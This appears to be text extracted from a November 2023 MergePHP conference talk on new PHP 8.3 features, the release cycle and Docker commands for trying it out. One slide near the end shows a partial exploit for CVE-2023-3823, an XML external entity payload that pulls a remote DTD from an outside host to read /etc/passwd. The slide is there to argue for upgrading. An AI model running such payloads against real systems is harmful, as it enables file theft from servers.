What's New in

Tim Bond

MergePHP - November 9, 2023

Date Milestone
June 8, 2023 Alpha Release 1
June 22, 2023 Alpha Release 2
July 6, 2023 Alpha Release 3
July 18, 2023 Feature Freeze
July 20, 2023 Beta Release 1
August 3, 2023 Beta Release 2
August 17, 2023 Beta Release 3
August 31, 2023 Release Candidate 1
September 14, 2023 Release Candidate 2
September 28, 2023 Release Candidate 3
October 12, 2023 Release Candidate 4
October 26, 2023 Release Candidate 5
November 9, 2023 πŸ‘ˆ Release Candidate 6
November 23, 2023 General Availability Release

Not a lot

Typed Class Constants

interface I {
    const TEST = "Test";
class Foo implements I {
    const TEST = [];
class Bar extends Foo {
    const TEST = null;



Typed Class Constants


class TypedConstants {
    public const float VERSION = 8.3;
    private const bool TRUE = false;


class Foo extends TypedConstants {
	public const string VERSION = '8.3';
// Fatal error: Type of Foo::VERSION must be compatible
// with TypedConstants::VERSION of type string

More Appropriate Date/Time Exceptions

β”œβ”€β”€ Error
|   └── DateError
|       β”œβ”€β”€ DateObjectError
β”‚       └── DateRangeError
└── Exception
    └── DateException
        β”œβ”€β”€ DateInvalidOperationException
        β”œβ”€β”€ DateInvalidTimeZoneException
        β”œβ”€β”€ DateMalformedIntervalStringException
        β”œβ”€β”€ DateMalformedPeriodStringException
        └── DateMalformedStringException


More Appropriate Date/Time Exceptions


try {
    $interval = new DateInterval('PT' . riskyFunc() . 'S');
} catch(Exception $e) {
    // is the interval bad or did the function throw?


More Appropriate Date/Time Exceptions


try {
    $interval = new DateInterval('PT' . riskyFunc() . 'S');
} catch(DateMalformedIntervalStringException $e) {
    // handle malformed input
} catch(RiskyException $e) {
    // handle exception thrown by risky function


PHP CLI Lint (php -l) supports linting multiple files at once

# < 8.3

php -l foo.php bar.php
No syntax errors detected in foo.php


# >= 8.3

php -l foo.php bar.php
No syntax errors detected in foo.php
No syntax errors detected in bar.php

#[Override] attribute

abstract class Parent {
    public function getNumber(): int {
        return 1;

final class Child extends Parent {
    public function getNumber(): int {
        return 2;


#[Override] attribute

abstract class Parent {
    public function generateNumber(): int { // was getNumber
        return 1;

final class Child extends Parent {
    public function getNumber(): int {
        return 2;


Fatal error: Child::methodWithDefaultImplementation() has
#[\Override] attribute, but no matching parent method exists

New mb_str_pad Function

var_dump(str_pad('β–Άβ–Ά', 6, '❀❓❇', STR_PAD_RIGHT));    // BAD: string(6) "β–Άβ–Ά"
var_dump(str_pad('β–Άβ–Ά', 6, '❀❓❇', STR_PAD_LEFT));     // BAD: string(6) "β–Άβ–Ά"
var_dump(str_pad('β–Άβ–Ά', 6, '❀❓❇', STR_PAD_BOTH));     // BAD: string(6) "β–Άβ–Ά"
var_dump(mb_str_pad('β–Άβ–Ά', 6, '❀❓❇', STR_PAD_RIGHT)); // GOOD: string(18) "▢▢❀❓❇❀"
var_dump(mb_str_pad('β–Άβ–Ά', 6, '❀❓❇', STR_PAD_LEFT));  // GOOD: string(18) "❀❓❇❀▢▢"
var_dump(mb_str_pad('β–Άβ–Ά', 6, '❀❓❇', STR_PAD_BOTH));  // GOOD: string(18) "❀❓▢▢❀❓"


New Randomizer class


Negative indexes

$array = [];

$array[-5] = 'a';
$array[] = 'b';

    [-5] => a
    [0] => b
    [-5] => a
    [-4] => b

< 8.3

>= 8.3

Stack Overflow Detection


New ini directives:

  • zend.max_allowed_stack_size
  • zend.reserved_stack_size

Will emit an Error when call stack exceeds the difference

Changes to range()

  • A TypeError is now thrown when passing objects, resources, or arrays as the boundary inputs.
  • A more descriptive ValueError is thrown when passing 0 for $step.
  • A ValueError is now thrown when using a negative $step for increasing ranges.
  • If $step is a float that can be interpreted as an int, it is now done so.
  • A ValueError is now thrown if any argument is infinity or NAN.
  • An E_WARNING is now emitted if $start or $end is the empty string. The value continues to be cast to the value 0.
  • An E_WARNING is now emitted if $start or $end has more than one byte, only if it is a non-numeric string.
  • An E_WARNING is now emitted if $start or $end is cast to an integer because the other boundary input is a number. (e.g. range(5, 'z');).
  • An E_WARNING is now emitted if $step is a float when trying to generate a range of characters, except if both boundary inputs are numeric strings (e.g. range('5', '9', 0.5); does not produce a warning).
  • range() now produce a list of characters if one of the boundary inputs is a string digit instead of casting the other input to int (e.g. range('9', 'A');).

New Function: json_validate


$json = '{';


// bool(false)


New Function: json_validate

json_validate(string $json, int $depth = 512, int $flags = 0): bool


The only valid flag is JSON_INVALID_UTF8_IGNORE

Fallback value support for php.ini environment variables

xdebug.client_host = "${XDEBUG_CLIENT_HOST}"


xdebug.client_host = "${XDEBUG_CLIENT_HOST:-localhost}" 

Dynamic Class Constants

class Constants {
    public const NUMBER = 1;

$constName = 'NUMBER';

echo Constants::{$constName};

enum Numbers: int {
    case ONE = 1;

$enumName = 'ONE';

echo MyEnum::{$enumName}->value;



PHP 8.2.0 Development Server
PHP/8.3.0 (Development Server)



Now compliant with RFC3875 - 4.1.17!

if (PHP_SAPI === 'cli-server') { /* ... */ }

Anonymous Readonly Classes

$class = new readonly class {
    public function __construct(
        public string $foo = 'bar',
    ) {}

(no RFC, considered a bug in the original implementation)

Fatal error: Uncaught Error: Cannot modify readonly
property class@anonymous::$foo

$class->foo = 'baz';

Invariant constant visibility


interface I {
    public const FOO = 'foo';

class C implements I {
    private const FOO = 'foo';


Arbitrary static variable initializers

function bar(): int {
    return 1;

function foo(): void {
    static $i = bar();
    echo $i++, "\n";



Fatal error: Constant expression contains invalid operations

Changes to Traits and Static Properties

Uses of traits with static properties will now redeclare static properties inherited from the parent class. This will create a separate static property storage for the current class. This is analogous to adding the static property to the class directly without traits.

More Keys Returned for gc_status()

  • running
  • protected
  • full
  • buffer_size
  • application_time
  • collector_time
  • destructor_time
  • free_time


Changes to assert methods

  • assert_options() now emits an E_DEPRECATED
  • The assert.active INIsetting and the ASSERT_ACTIVE constant are now deprecated, and the deprecation message points to the zend_assertions INI setting as the replacement.
  • The following INI values will cause the engine to emit E_DEPRECATED at startup:
    • assert.warning (and the related ASSERT_WARNING constant)
    • assert.bail (and the related ASSERT_BAIL constant)
    • assert.callback (and the related ASSERT_CALLBACK constant)
    • assert.exception (and the related ASSERT_EXCEPTION constant)
  • The assert() method returns void instead of bool

Improvements to array_product() and array_sum()

  • When encountering a non-numeric value:
    • If an object implements a numeric cast (which is only possible for internal classes or classes provided by extensions), they will cast to that value for the calculation
    • All other values which cannot be cast to an integer or float will continue to be skipped, but now also emit E_WARNING.

++ and -- operator improvements

  • E_WARNING emitted on nulls, booleans, objects, etc
  • New str_increment() and str_decrement()functions
    • str_increment('ABC'); // ABD
  • Far too many examples to show here, see the RFC:

Everything else

  • unserialize() errors are now E_WARNING instead of E_NOTICE
  • readonly properties can be reinitialize when calling __clone()
  • New function class_alias()
  • New stream_context_set_options function
    • Will probably eventually make stream_context_set_option no longer accept an array
  • SQLite3 extension uses exceptions by default
    • As mysqli did in 8.1
  • Closures created from magic methods now support named arguments

Should we upgrade?



CVE-2023-3823 Exploit

$xml= "<?xml version='1.0' encoding='utf-8' ?><!DOCTYPE root " .
    "[<!ENTITY % remote SYSTEM \"https://bin.icewind.me/r/p0g" .
    "zLJ\"> %remote; %intern; %trick;]><D:propfind xmlns:D='D" .
$dom = new DOMDocument();
echo $dom->textContent;
foreach (libxml_get_errors() as $error) {


WOOT{{base64 encoded content of /etc/passwd}}WOOT

Release Cycle

  • New Release every year
  • Each release lives for 3 years
    • 2 years bug fixes only
    • 1 year security fixes only

Why no LTS??

  • End users want it, core maintainers don't
    • Maintaining 3 versions is hard enough
    • Backporting patches isn't alawys easy, is rarely fun
      • In extreme cases, bugfixes almost become new features
    • "Maintained because used" or "used because it's maintained"?
  • The longer end users put off an upgrade, the harder it becomes
  • What about the community of extensions, frameworks, etc?

At what point do we make radical changes, or do we fork?

  • Bad code:
    • Does nothing
    • Issues a warning
    • Causes an error
    • Throws an exception
    • Isn't allowed
  • Next major version of PHP?
  • Fork PHP?

How can I play with it now?

  • Easy: docker container run --rm php:8.3.0beta6-cli php -i
  • Medium:
    • POSIX
      docker container run --rm -v $(pwd):/app/ php:8.3.0beta6-cli php /app/script.php
    • Windows - cmd

      docker container run --rm -v %cd%:/app/ php:8.3.0beta6-cli php /app/script.php
    • Windows - PowerShell

      docker container run --rm -v ${PWD}:/app/ php:8.3.0beta6-cli php /app/script.php
  • Hard: FROM php:8.3.0beta6-...